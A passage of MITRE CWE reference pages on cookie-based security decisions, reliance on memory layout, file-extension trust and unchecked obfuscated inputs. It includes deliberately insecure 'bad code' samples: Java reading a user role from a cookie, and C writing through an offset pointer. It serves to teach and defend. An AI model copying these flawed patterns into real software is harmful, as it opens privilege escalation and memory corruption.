Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.602Client-Side Enforcement of Server-Side Security
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.642External Control of Critical State Data
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.784Reliance on Cookies without Validation and Integrity Checking in a Security Decision
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1214Data Integrity Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.669Incorrect Resource Transfer Between Spheres
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1020Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.
+ Demonstrative Examples

Example 1

The following code excerpt reads a value from a browser cookie to determine the role of the user.

(bad code)
Example Language: Java 
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
Cookie c = cookies[i];
if (c.getName().equals("role")) {
userRole = c.getValue();
}
}

It is easy for an attacker to modify the "role" value found in the locally stored cookie, allowing privilege escalation.

+ Observed Examples
ReferenceDescription
e-dating application allows admin privileges by setting the admin cookie to 1.
+ Potential Mitigations

Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Phase: Architecture and Design

Add integrity checks to detect tampering.

Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.949SFP Secondary Cluster: Faulty Endpoint Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1354OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks..
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP29Faulty endpoint authentication
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes, Potential_Mitigations, Relationships
2009-07-16CWE Content TeamMITRE
Clarified name and description; broadened the definition to include any security-critical operation, not just security decisions, to allow for relationships with injection weaknesses.
2009-07-27CWE Content TeamMITRE
updated Description, Name, Potential_Mitigations, Relationship_Notes, Relationships, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Use of Cookies
2009-07-27Use of Cookies in Security Decision

CWE-188: Reliance on Data/Memory Layout

Weakness ID: 188
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.
+ Extended Description

When changing platforms or protocol versions, in-memory organization of data may change in unintended ways. For example, some architectures may place local variables A and B right next to each other with A on top; some may place them next to each other with B on top; and others may add some padding to each. The padding size may vary to ensure that each variable is aligned to a proper word size.

In protocol implementations, it is common to calculate an offset relative to another field to pick out a specific piece of data. Exceptional conditions, often involving new protocol versions, may add corner cases that change the data layout in an unusual way. The result can be that an implementation accesses an unintended field in the packet, treating data of one type as data of another type.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.435Improper Interaction Between Multiple Correctly-Behaving Entities
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1105Insufficient Encapsulation of Machine-Dependent Functionality
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.198Use of Incorrect Byte Ordering
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality

Technical Impact: Modify Memory; Read Memory

Can result in unintended modifications or exposure of sensitive memory.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

In this example function, the memory address of variable b is derived by adding 1 to the address of variable a. This derived address is then used to assign the value 0 to b.

(bad code)
Example Language:
void example() {
char a;
char b;
*(&a + 1) = 0;
}

Here, b may not be one byte past a. It may be one byte in front of a. Or, they may have three bytes between them because they are aligned on 32-bit boundaries.

+ Potential Mitigations

Phases: Implementation; Architecture and Design

In flat address space situations, never allow computing memory addresses as offsets from another memory address.

Phase: Architecture and Design

Fully specify protocol layout unambiguously, providing a structured grammar (e.g., a compilable yacc grammar).

Phase: Testing

Testing: Test that the implementation properly handles each case in the protocol grammar.
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPReliance on data layout
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Structure Padding", Page 284. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2011-03-29CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2019-01-03CWE Content TeamMITRE
updated Description, Relationships
2021-03-15CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Reliance on Data Layout

CWE-646: Reliance on File Name or Extension of Externally-Supplied File

Weakness ID: 646
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.
+ Extended Description
An application might use the file name or extension of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a ".php.gif" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

An attacker may be able to read sensitive data.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

An attacker may be able to cause a denial of service.
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker may be able to gain privileges.
+ Likelihood Of Exploit
High
+ Potential Mitigations

Phase: Architecture and Design

Make decisions on the server side based on file content and not on file name or extension.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Observed_Example
2008-10-13CWE Content TeamMITRE
Significant clarification of the weakness description.
2008-10-14CWE Content TeamMITRE
updated Description, Name, Observed_Examples, Relationships
2009-07-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-12-13CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences
2011-03-29CWE Content TeamMITRE
updated Common_Consequences, Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Enabling_Factors_for_Exploitation
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Description, Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Taking Actions based on File Name or Extension of a User Supplied File

CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking

Weakness ID: 649
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the product does not use integrity checks to detect if those inputs have been modified.
+ Extended Description
When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate their privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1214Data Integrity Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1020Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

The inputs could be modified without detection, causing the product to have unexpected system state or make incorrect security decisions.
+ Likelihood Of Exploit
High
+ Observed Examples
ReferenceDescription
An IPSec configuration does not perform integrity checking of the IPSec packet as the result of either not configuring ESP properly to support the integrity service or using AH improperly. In either case, the security gateway receiving the IPSec packet would not validate the integrity of the packet to ensure that it was not changed. Thus if the packets were intercepted the attacker could undetectably change some of the bits in the packets. The meaningful bit flipping was possible due to the known weaknesses in the CBC encryption mode. Since the attacker knew the structure of the packet, they were able (in one variation of the attack) to use bit flipping to change the destination IP of the packet to the destination machine controlled by the attacker. And so the destination security gateway would decrypt the packet and then forward the plaintext to the machine controlled by the attacker. The attacker could then read the original message. For instance if VPN was used with the vulnerable IPSec configuration the attacker could read the victim's e-mail. This vulnerability demonstrates the need to enforce the integrity service properly when critical data could be modified by an attacker. This problem might have also been mitigated by using an encryption mode that is not susceptible to bit flipping attacks, but the preferred mechanism to address this problem still remains message verification for integrity. While this attack focuses on the network layer and requires an entity that controls part of the communication path such as a router, the situation is not much different at the software level, where an attacker can modify tokens/parameters used by the application.
+ Potential Mitigations

Phase: Architecture and Design

Protect important client controllable tokens/parameters for integrity using PKI methods (i.e. digital signatures) or other means, and checks for integrity on the server side.

Phase: Architecture and Design

Repeated requests from a particular user that include invalid values of tokens/parameters (those that should not be changed manually by users) should result in the user account lockout.

Phase: Architecture and Design

Client side tokens/parameters should not be such that it would be easy/predictable to guess another valid state.

Phase: Architecture and Design

Obfuscation should not be relied upon. If encryption is used, it needs to be properly applied (i.e. proven algorithm and implementation, use padding, use random initialization vector, user proper encryption mode). Even with proper encryption where the ciphertext does not leak information about the plaintext or reveal its structure, compromising integrity is possible (although less likely) without the provision of the integrity service.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Observed_Example
2008-10-14CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-12-13CWE Content TeamMITRE
updated Common_Consequences, Description, Enabling_Factors_for_Exploitation, Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Observed_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated Observed_Examples, Relationships
2020-12-10CWE Content TeamMITRE
updated Description
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Relying on Obfuscation or Encryption with no Integrity Checking to Protect User Controllable Parameters that are Used to Determine User or System State

CWE-487: Reliance on Package-level Scope

Weakness ID: 487
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.
+ Extended Description
The purpose of package scope is to prevent accidental access by other parts of a program. This is an ease-of-software-development feature but not a security feature.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
